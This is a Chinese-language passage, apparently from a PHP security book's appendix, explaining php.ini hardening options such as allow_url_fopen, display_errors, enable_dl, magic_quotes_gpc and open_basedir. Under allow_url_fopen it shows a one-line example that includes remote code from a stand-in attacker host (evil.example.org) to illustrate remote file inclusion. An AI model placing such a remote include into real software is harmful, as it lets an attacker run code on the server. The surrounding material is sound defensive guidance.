PHP安全-配置選項
盡管本書的焦點是在于應用的安全性,但有一些配置選項是任何關心安全的開發者必需熟悉的。PHP的配置會影響你所寫代碼的行為以及你使用的技巧,必要時你需要稍稍負責一下應用程序以外的東西。
PHP的配置主要由一個名為php.ini的文件所指定。該文件包含很多配置選項,每一項都會對PHP產生非常特定的影響。如果該文件不存在,或者該文件中的某選項不存在,則會使用默認值。
如果你不知道php.ini文件所在的位置,你可以使用phpinfo( )來確定PHP中對該文件路徑的定義:
<?php
phpinfo();
?>
圖A-1 所示的第六行(配置文件(php.ini)路徑)顯示了php.ini的完整路徑。如果只顯示了路徑(沒有文件名),這就意味著PHP無法在所示路徑找到php.ini文件。
該文件包含的自身說明非常好,因此你可以閱讀該文件并選擇適合你的配置選項。而手冊更是詳細,所以在你需要某一選項的更多信息時,我推薦訪問http://php.net/manual/ini.php
圖A-1. phpinfo( ) 函數可用于php.ini文件的定位
A.1. allow_url_fopen
正如第六章所示,allow_url_fopen選項允許你如同本地文件一樣引用遠程資源:
<?php
$contents = file_get_contents(’http://example.org/xss.html’);
?>
在第五章中揭示了當它與include或require相結合時的危險性:
<?php
include ’http://evil.example.org/evil.inc’;
?>
我推薦關閉allow_url_fopen選項,除非你的應用需要它。
A.2. disable_functions
disable_functions選項是非常有用的,它可以確保一些有潛在威脅的函數不能被使用。盡管可以建立規范去禁止使用這些函數,但在PHP配置中進行限制要比依賴于開發者對規范的遵循要可靠得多。
我建立對附錄B列出的函數進行檢查,看一下是否要對一些函數進行限制。
A.3. display_errors
PHP的錯誤報告可以幫助你發現你所寫代碼中的錯誤。當你開發應用時,把錯誤提示顯示出來是取得即時反饋的有效方法,同時也可以加快開發速度。
在一個產品級的應用中,這一行為會成為一項安全風險。如果它顯示錯誤信息,所有人就可以得知你的應用中的重要信息。
在產品中你需要關閉display_errors選項。
A.4. enable_dl
enable_dl選項用于控制dl()函數是否生效,該函數允許在運行時加載PHP擴展。
使用dl()函數可能導致攻擊者繞過open_basedir限制,因此除非有必要,你必須在你的應用中禁止它。
A.5. error_reporting
很多安全漏洞是由于使用了未初始化的變量或其它隨意的編程方法引起的。通過把PHP的error_reporting選項置為E_ALL 或 E_ALL | E_STRICT,PHP就會對上述行為進行提示。這些設置都為報告Notice級別的錯誤。
我建議把error_reporting至少設定為E_ALL。(譯注:在開發中)
A.6. file_uploads
file_uploads選項決定了是否允許上傳文件。因此,如果你的應用不需要用戶上傳文件,那么關閉該選項就是最好的選擇。
只是簡單地在PHP代碼中不對上傳文件進行處理是不夠的,因為在執行你的代碼前,PHP就做了一些工作(如根據相關部據生成$_FILES數組)。
A.7. log_errors
當log_errors設為有效時,PHP會向error_log配置選項指定的文件中寫入所有出錯信息。
當display_errors設為無效時,將log_errors設為有效是很重要的;否則你將無法看到睛出錯信息。
我建議將log_errors設為有效并在error_log設定日志文件所在位置。
A.8. magic_quotes_gpc
magic_quotes_gpc是一個常用的選項,它目的是防止SQL注入。但出于很多原因,包括它轉義輸入的方式,證明了它是不完善的。
它對$_GET, $_POST, 以及 $_COOKIE中的數據使用同樣的規則即addslashes( )函數進行處理。從而,它并沒有根據你的數據庫選用對應的轉義函數進行處理。
基于兩個主要的原因,你需要把get_magic_quotes_gpc設為無效:
首先,它會加大你的輸入過濾邏輯的復雜性,這是由于它在執行你的代碼前首先對數據進行了編輯。例如,你需要對輸入的姓名進行過濾,其邏輯是只允許字母、空格、連詞符以及單引號,當magic_quotes_gpc生效時,你必須適應形如O’Reilly的姓名或者使用stripslashes( )嘗試將它恢復原形。這一不必要的復雜性(或者說不嚴謹的過濾規則)加大了發生錯誤的可能性,同時,你的輸入過濾機制中的缺陷必然會導致安全漏洞。
其次,它并沒有根據你的數據庫選用對應的轉義函數進行處理。這樣,由于它可以抵擋一些低層次或偶發的攻擊,掩蓋了它是一個糟糕的過濾或轉義機制這個事實,從而留下了一個安全漏洞,使你的應用無法抵擋如針對字符集的攻擊等更復雜的攻擊手段。
A.9. memory_limit
為防止寫得糟糕的腳本占用所有的可用內存,可以使用memory_limit選項對最大內存使用量進行限制(以字節方式或縮寫方式如8M指定)。
盡管最佳的取值是與運行的應用是相關的,我還是建議在大多情況下使用默認值8M。
memory_limit選項只有在PHP指定了enable-memory-limit方式編譯時才會生效。
A.10. open_basedir
open_basedir選項會限制PHP只能在它指定的目錄中打開文件。盡管它不能取代正確的輸入過濾,但該選項能減少利用文件系統相關函數如include及require進行的攻擊。
該選項的值會被當做前綴使用,因此當你想表示指定目錄時請小心不要漏了最后的斜杠:
open_basedir = /path/to/
小提示
請確認enable_dl選項是關閉的,否則open_basedir的限制可能會被繞過。
A.11. register_globals
見第二章
A.12. safe_mode
見第八章
相關文章: